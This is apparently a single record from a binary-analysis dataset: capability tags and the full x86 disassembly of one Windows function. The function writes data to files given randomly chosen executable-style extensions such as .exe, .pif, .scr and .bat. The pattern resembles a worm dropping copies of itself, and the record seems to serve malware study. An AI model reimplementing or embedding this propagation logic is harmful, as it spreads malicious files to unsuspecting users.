Function at 0x40fbc9
Capabilities:
Check for time delay via gettickcount
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x7f
pop ecx
xor eax, eax
mov byte [ebp - 0x210], 0
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
lea eax, [ebp - 0x210]
push eax
call edi
push 0x4283c8
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp byte [ebp + 0xc], 0
je 0x40fce9
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
mov esi, eax
add esi, ebx
mov al, byte [esi]
cmp al, 0x5c
je 0x40fc3c
cmp al, 0x2f
jne 0x40fc3d
jmp 0x40fc3c
cmp al, 0x2f
je 0x40fc43
cmp esi, ebx
jbe 0x40fc43
dec esi
mov al, byte [esi]
cmp al, 0x5c
jne 0x40fc34
inc esi
push 0x428458
push esi
call fcn.00412098
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
je 0x40fc63
inc ebx
push ebx
call edi
cmp eax, 5
jl 0x40fc63
push ebx
jmp 0x40fc64
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x210]
push eax
call edi
lea esi, [ebp + eax - 0x210]
lea eax, [esi - 1]
mov cl, byte [eax]
cmp cl, 0x5c
je 0x40fc90
cmp cl, 0x2f
jne 0x40fc95
mov esi, eax
mov byte [esi], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004201d8
pop ecx
call fcn.004201e2
push 2
cdq
pop ecx
idiv ecx
test edx, edx
jg 0x40fd2e
cmp byte [0x44c6a0], 0
jne 0x40fd18
cmp byte [0x44c6a1], 0
je 0x40fd2e
mov eax, dword [0x44c6b0]
mov dword [ebp + 8], eax
mov eax, dword [0x44c6a8]
mov dword [ebp - 8], 0x44c69c
mov dword [ebp - 4], eax
mov byte [ebp + 0xf], 0
jmp 0x40fd6d
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x210]
push eax
call esi
lea eax, [ebp + eax - 0x210]
push eax
call fcn.00406d17
pop ecx
lea eax, [ebp - 0x210]
push eax
call esi
lea esi, [ebp + eax - 0x210]
jmp 0x40fc9b
mov eax, dword [0x44c6ac]
mov dword [ebp + 8], eax
mov eax, dword [0x44c6a4]
mov dword [ebp - 8], 0x44c698
jmp 0x40fcdd
cmp byte [0x44c688], 0
je 0x40fd45
mov eax, dword [0x44c68c]
mov dword [ebp - 8], 0x44c680
jmp 0x40fd5e
cmp byte [0x44c689], 0
je 0x40fe89
mov eax, dword [0x44c690]
mov dword [ebp - 8], 0x44c684
mov dword [ebp - 4], eax
mov eax, dword [0x44c694]
mov dword [ebp + 8], eax
mov byte [ebp + 0xf], 1
cmp dword [ebp - 4], 0
je 0x40fe89
mov eax, dword [ebp - 8]
inc dword [eax]
cmp byte [ebp + 0xf], 0
je 0x40fdbd
movzx ecx, byte [esi - 2]
movzx eax, byte [esi - 3]
add eax, ecx
movzx ecx, byte [esi - 1]
add eax, ecx
push 6
cdq
pop ecx
idiv ecx
dec edx
je 0x40fdb6
dec edx
je 0x40fdaf
dec edx
je 0x40fda8
push str..exe
jmp 0x40fdc2
push str..pif
jmp 0x40fdc2
push str..bat
jmp 0x40fdc2
push str..scr
jmp 0x40fdc2
push str..rar
push esi
call edi
and dword [ebp - 0xc], 0
mov esi, 0x80
cmp byte [0x444f84], 0
jne 0x40fe06
lea eax, [ebp - 0x210]
push eax
call fcn.004123ce
test eax, eax
pop ecx
je 0x40fe06
cmp byte [ebp + 0xf], 0
je 0x40fe84
lea eax, [ebp - 0x210]
push eax
call fcn.00412162
cmp eax, 0x61a80
pop ecx
jae 0x40fe84
and dword [ebp - 0x10], 0
mov ebx, dword [ebp + 8]
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push esi
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40fe70
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test ebx, ebx
jbe 0x40fe70
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, ebx
add eax, dword [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40fe70
sub ebx, dword [ebp - 0x10]
jne 0x40fe4e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 5
jl 0x40fdce
mov eax, dword [ebp - 8]
dec dword [eax]
pop edi
pop esi
pop ebx
leave
ret